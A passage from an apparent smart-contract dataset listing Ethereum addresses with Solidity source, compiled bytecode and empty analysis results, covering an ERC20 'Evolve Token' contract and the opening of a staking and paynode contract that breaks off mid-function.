5260208190526040902092506111c2845b600080805b600354811015610872576000848152600160205260408120600380549192918490811015610002576000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561086357600191909101905b600454821415610e4a57600192505b5050919050565b60408051600160a060020a03861681526020810185905282151560608201526080918101828152845460026000196101006001841615020190911604928201839052909160a0830190859080156109115780601f106108e657610100808354040283529160200191610911565b820191906000526020600020905b8154815290600101906020018083116108f457829003601f168201915b50509550505050505060405180910390f35b60405180806020018281038252838181518152602001915080519060200190602002808383829060006004602084601f0104600302600f01f1509050019250505060405180910390f35b905061100d815b33600160a060020a03811660009081526002602052604090205460ff161515610fb457610002565b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610ce6855b6000818152602081905260408120600301548190839060ff16156107ec57610002565b600160a060020a038216600090815260026020526040902054829060ff161515610a4357610002565b600160a060020a0383166000908152600260205260408120805460ff1916905591505b60035460001901821015610b085782600160a060020a0316600360005083815481101561000257600091825260209091200154600160a060020a03161415610b3857600380546000198101908110156100025760009182526020909120015460038054600160a060020a039092169184908110156100025760009182526020909120018054600160a060020a031916606060020a928302929092049190911790555b600380546000198101808355919082908015829011610b4357600083815260209020610b43918101908301610c0e565b600190910190610a66565b505060035460045411159150610c26905057600354610c2690610673565b60055460408051608081018252878152602080820188815282840188815260006060850181905286815280845294852084518154606060020a91820291909104600160a060020a031990911617815591516001808401919091559051805160028085018054818a5298879020999b5096989497601f9481161561010002600019011604830185900484019490939291019083901061137e57805160ff19168380011785555b506113ae9291505b80821115610c225760008155600101610c0e565b5090565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff161515610cee57610002565b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35b505b50505050565b600084815260208190526040902060030154849060ff1615610c9457610002565b50600854600654035b90565b5092915050565b600160a060020a038116600090815260026020526040902054819060ff1615610d4a57610002565b81600160a060020a0381161515610d6057610002565b6003546004546001909101906032821180610d7a57508181115b80610d83575080155b80610d8c575081155b15610d9657610002565b600160a060020a0385166000908152600260205260409020805460ff19166001908117909155600380549182018082559091908281838015829011610dec57600083815260209020610dec918101908301610c0e565b50505060009283525060208220018054600160a060020a031916606060020a88810204179055604051600160a060020a038716917ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d91a25050505050565b600101610806565b50919050565b878703604051805910610e685750595b908082528060200260200182016040528015610e7f575b5093508790505b86811015610ec2578281815181101561000257906020019060200201518489830381518110156100025760209081029091010152600101610e86565b505050949350505050565b81604051805910610edb5750595b908082528060200260200182016040528015610ef2575b509350600090505b81811015610f41578281815181101561000257906020019060200201518482815181101561000257600160a060020a03909216602092830290910190910152600101610efa565b505050919050565b600354816032821180610f5b57508181115b80610f64575080155b80610f6d575081155b15610f7757610002565b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b6000828152602081905260409020548290600160a060020a03161515610fd957610002565b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561099c57610002565b9392505050565b60068190556040805182815290517fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca29181900360200190a150565b600160a060020a038316600090815260026020526040902054839060ff16151561107857610002565b600160a060020a038316600090815260026020526040902054839060ff16156110a057610002565b600092505b60035483101561111d5784600160a060020a0316600360005084815481101561000257600091825260209091200154600160a060020a031614156111b7578360036000508481548110156100025760009182526020909120018054600160a060020a031916606060020a928302929092049190911790555b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b6001909201916110a5565b9150818061123157506002808401546000196101006001831615020116041580156112315750600183015461123190600754600090620151800142111561120d574260075560006008555b600654600854830111806112245750600854828101105b1561141057506000611414565b15610ce85760038301805460ff1916600117905581151561125b5760018301546008805490910190555b825460018085015460405160028088018054600160a060020a039096169593949093839285926000199083161561010002019091160480156112de5780601f106112b3576101008083540402835291602001916112de565b820191906000526020600020905b8154815290600101906020018083116112c157829003601f168201915b505091505060006040518083038185876185025a03f1925050501561132d5760405184907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a2610ce8565b60405184907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038301805460ff19169055811515610ce8575050600101546008805491909103905550565b82800160010185558215610c06579182015b82811115610c06578251826000505591602001919060010190611390565b5050606091909101516003909101805460ff191660f860020a9283029290920491909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b5060015b91905056 | {"success": true, "error": null, "results": {}} | 146 |
0xdcb7e52f39fbe1114dc4df7f7d929731dcd7c0d0 | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract EVLToken is Ownable, ERC20 {
string public version = "1.0";
// constructor
constructor() ERC20("Evolve Token", "EVLV") {
_mint(msg.sender, 100000000 * 10**decimals());
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101ca578063a9059cbb146101dd578063dd62ed3e146101f0578063f2fde38b14610203576100f5565b806370a0823114610190578063715018a6146101a35780638da5cb5b146101ad57806395d89b41146101c2576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461017557806354fd4d5014610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b610102610216565b60405161010f919061095f565b60405180910390f35b61012b610126366004610917565b6102a8565b60405161010f9190610954565b6101406102c5565b60405161010f9190610c0e565b61012b61015b3660046108dc565b6102cb565b61016861036b565b60405161010f9190610c17565b61012b610183366004610917565b610370565b6101026103bf565b61014061019e366004610889565b61044d565b6101ab61046c565b005b6101b56104f5565b60405161010f9190610940565b610102610504565b61012b6101d8366004610917565b610513565b61012b6101eb366004610917565b61058e565b6101406101fe3660046108aa565b6105a2565b6101ab610211366004610889565b6105cd565b60606004805461022590610c54565b80601f016020809104026020016040519081016040528092919081815260200182805461025190610c54565b801561029e5780601f106102735761010080835404028352916020019161029e565b820191906000526020600020905b81548152906001019060200180831161028157829003601f168201915b5050505050905090565b60006102bc6102b561068d565b8484610691565b50600192915050565b60035490565b60006102d8848484610745565b6001600160a01b0384166000908152600260205260408120816102f961068d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156103455760405162461bcd60e51b815260040161033c90610ac3565b60405180910390fd5b6103608561035161068d565b61035b8685610c3d565b610691565b506001949350505050565b601290565b60006102bc61037d61068d565b84846002600061038b61068d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461035b9190610c25565b600680546103cc90610c54565b80601f01602080910402602001604051908101604052809291908181526020018280546103f890610c54565b80156104455780601f1061041a57610100808354040283529160200191610445565b820191906000526020600020905b81548152906001019060200180831161042857829003601f168201915b505050505081565b6001600160a01b0381166000908152600160205260409020545b919050565b61047461068d565b6001600160a01b03166104856104f5565b6001600160a01b0316146104ab5760405162461bcd60e51b815260040161033c90610b0b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60606005805461022590610c54565b6000806002600061052261068d565b6001600160a01b039081168252602080830193909352604091820160009081209188168152925290205490508281101561056e5760405162461bcd60e51b815260040161033c90610bc9565b61058461057961068d565b8561035b8685610c3d565b5060019392505050565b60006102bc61059b61068d565b8484610745565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6105d561068d565b6001600160a01b03166105e66104f5565b6001600160a01b03161461060c5760405162461bcd60e51b815260040161033c90610b0b565b6001600160a01b0381166106325760405162461bcd60e51b815260040161033c906109f5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166106b75760405162461bcd60e51b815260040161033c90610b85565b6001600160a01b0382166106dd5760405162461bcd60e51b815260040161033c90610a3b565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610738908590610c0e565b60405180910390a3505050565b6001600160a01b03831661076b5760405162461bcd60e51b815260040161033c90610b40565b6001600160a01b0382166107915760405162461bcd60e51b815260040161033c906109b2565b61079c83838361086d565b6001600160a01b038316600090815260016020526040902054818110156107d55760405162461bcd60e51b815260040161033c90610a7d565b6107df8282610c3d565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610815908490610c25565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161085f9190610c0e565b60405180910390a350505050565b505050565b80356001600160a01b038116811461046757600080fd5b60006020828403121561089a578081fd5b6108a382610872565b9392505050565b600080604083850312156108bc578081fd5b6108c583610872565b91506108d360208401610872565b90509250929050565b6000806000606084860312156108f0578081fd5b6108f984610872565b925061090760208501610872565b9150604084013590509250925092565b60008060408385031215610929578182fd5b61093283610872565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561098b5785810183015185820160400152820161096f565b8181111561099c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610c3857610c38610c8f565b500190565b600082821015610c4f57610c4f610c8f565b500390565b600281046001821680610c6857607f821691505b60208210811415610c8957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212205abed761029a26f9ebded36e3490e15848ee8a04a25b71290301c6b166226c1764736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 147 |
0xa090C2A3A5Ab0A5196E35174Fd1B40C13BD580c7 | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Constant {
string constant ERR_CONTRACT_SELF_ADDRESS = "ERR_CONTRACT_SELF_ADDRESS";
string constant ERR_ZERO_ADDRESS = "ERR_ZERO_ADDRESS";
string constant ERR_NOT_OWN_ADDRESS = "ERR_NOT_OWN_ADDRESS";
string constant ERR_VALUE_IS_ZERO = "ERR_VALUE_IS_ZERO";
string constant ERR_AUTHORIZED_ADDRESS_ONLY = "ERR_AUTHORIZED_ADDRESS_ONLY";
string constant ERR_NOT_ENOUGH_BALANCE = "ERR_NOT_ENOUGH_BALANCE";
modifier notOwnAddress(address _which) {
require(msg.sender != _which, ERR_NOT_OWN_ADDRESS);
_;
}
// validates an address is not zero
modifier notZeroAddress(address _which) {
require(_which != address(0), ERR_ZERO_ADDRESS);
_;
}
// verifies that the address is different than this contract address
modifier notThisAddress(address _which) {
require(_which != address(this), ERR_CONTRACT_SELF_ADDRESS);
_;
}
modifier notZeroValue(uint256 _value) {
require(_value > 0, ERR_VALUE_IS_ZERO);
_;
}
}
contract Ownable is Constant {
address payable public owner;
address payable public newOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_transferOwnership(msg.sender);
}
function _transferOwnership(address payable _whom) internal {
emit OwnershipTransferred(owner,_whom);
owner = _whom;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, ERR_AUTHORIZED_ADDRESS_ONLY);
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address payable _newOwner)
external
virtual
notZeroAddress(_newOwner)
onlyOwner
{
// emit OwnershipTransferred(owner, newOwner);
newOwner = _newOwner;
}
function acceptOwnership() external
virtual
returns (bool){
require(msg.sender == newOwner,"ERR_ONLY_NEW_OWNER");
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
newOwner = address(0);
return true;
}
}
contract SafeMath {
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
return safeSub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function safeSub(uint256 a, uint256 b, string memory error) internal pure returns (uint256) {
require(b <= a, error);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return safeDiv(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function safeDiv(uint256 a, uint256 b, string memory error) internal pure returns (uint256) {
require(b > 0, error);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeExponent(uint256 a,uint256 b) internal pure returns (uint256) {
uint256 result;
assembly {
result:=exp(a, b)
}
return result;
}
}
interface ERC20Interface
{
function totalSupply() external view returns(uint256);
function balanceOf(address _tokenOwner)external view returns(uint balance );
function allowance(address _tokenOwner, address _spender)external view returns (uint supply);
function transfer(address _to,uint _tokens)external returns(bool success);
function approve(address _spender,uint _tokens)external returns(bool success);
function transferFrom(address _from,address _to,uint _tokens)external returns(bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _tokens);
event Approval(address indexed _owner, address indexed _spender, uint256 _tokens);
}
contract StakeStorage {
/**
* @dev check if token is listed
**/
mapping(address => bool) public listedToken;
/**
* @dev list of tokens
**/
address[] public tokens;
mapping(address => uint256)public tokenIndex;
mapping(address => mapping(address => uint256)) public stakeBalance;
mapping(address => mapping(address => uint256)) public lastStakeClaimed;
mapping(address => uint256)public totalTokens;
/**
* @dev annual mint percent of a token
**/
mapping(address => uint256) public annualMintPercentage;
/**
* @dev list of particular token's paynoder
**/
mapping(address => address[])public payNoders;
/**
* @dev check if address is in paynode
**/
mapping(address => mapping(address => bool)) public isPayNoder;
/**
* @dev maintain array index for addresses
**/
mapping(address => mapping(address => uint256)) public payNoderIndex;
/**
* @dev token's paynode slot
**/
mapping(address => uint256)public tokenPayNoderSlot;
/**
* @dev minimum balance require for be in paynode
**/
mapping(address => uint256)public tokenMinimumBalance;
mapping(address => uint256)public tokenExtraMintForPayNodes;
event Stake(
uint256 indexed _stakeTimestamp,
address indexed _token,
address indexed _whom,
uint256 _amount
);
event StakeClaimed(
uint256 indexed _stakeClaimedTimestamp,
address indexed _token,
address indexed _whom,
uint256 _amount
);
event UnStake(
uint256 indexed _unstakeTimestamp,
address indexed _token,
address indexed _whom,
uint256 _amount
);
}
contract Paynodes is Ownable, SafeMath, StakeStorage {
/**
* @dev adding paynode account
**/
function addaccountToPayNode(address _token, address _whom)
external
onlyOwner()
returns (bool)
{
require(isPayNoder[_token][_whom] == false, "ERR_ALREADY_IN_PAYNODE_LIST");
require(payNoders[_token].length < tokenPayNoderSlot[_token], "ERR_PAYNODE_LIST_FULL");
require(stakeBalance[_token][_whom] >= tokenMinimumBalance[_token], "ERR_PAYNODE_MINIMUM_BALANCE");
isPayNoder[_token][_whom] = true;
payNoderIndex[_token][_whom] = payNoders[_token].length;
payNoders[_token].push(_whom);
return true;
}
/**
* @dev removing paynode account
**/
function _removeaccountToPayNode(address _token, address _whom) internal returns (bool) {
require(isPayNoder[_token][_whom], "ERR_ONLY_PAYNODER");
uint256 _payNoderIndex = payNoderIndex[_token][_whom];
address _lastAddress = payNoders[_token][safeSub(payNoders[_token].length, 1)];
payNoders[_token][_payNoderIndex] = _lastAddress;
payNoderIndex[_token][_lastAddress] = _payNoderIndex;
delete isPayNoder[_token][_whom];
payNoders[_token].pop();
return true;
}
/**
* @dev remove account from paynode
**/
function removeaccountToPayNode(address _token, address _whom)
external
onlyOwner()
returns (bool)
{
return _removeaccountToPayNode(_token, _whom);
}
/**
* @dev owner can change minimum balance requirement
**/
function setMinimumBalanceForPayNoder(address _token, uint256 _minimumBalance)
external
onlyOwner()
returns (bool)
{
tokenMinimumBalance[_token] = _minimumBalance;
return true;
}
/**
* @dev owner can change extra mint percent for paynoder
* _extraMintForPayNodes is set in percent with mulitply 100
* if owner want to set 1.25% then value is 125
**/
function setExtraMintingForNodes(address _token, uint256 _extraMintForPayNodes)
external
onlyOwner()
returns (bool)
{
tokenExtraMintForPayNodes[_token] = _extraMintForPayNodes;
return true;
}
/**
* @dev owner can set paynoder slots
**/
function setPayNoderSlot(address _token, uint256 _payNoderSlot)
external
onlyOwner()
returns (bool)
{
tokenPayNoderSlot[_token] = _payNoderSlot;
return true;
}
}
contract Staking is Paynodes {
constructor(address[] memory _token) public {
for (uint8 i = 0; i < _token.length; i++) {
listedToken[_token[i]] = true;
tokens.push(_token[i]);
tokenIndex[_token[i]] = i;
}
}
/**
* @dev stake token
**/
function stake(address _token, uint256 _amount) external returns (bool){
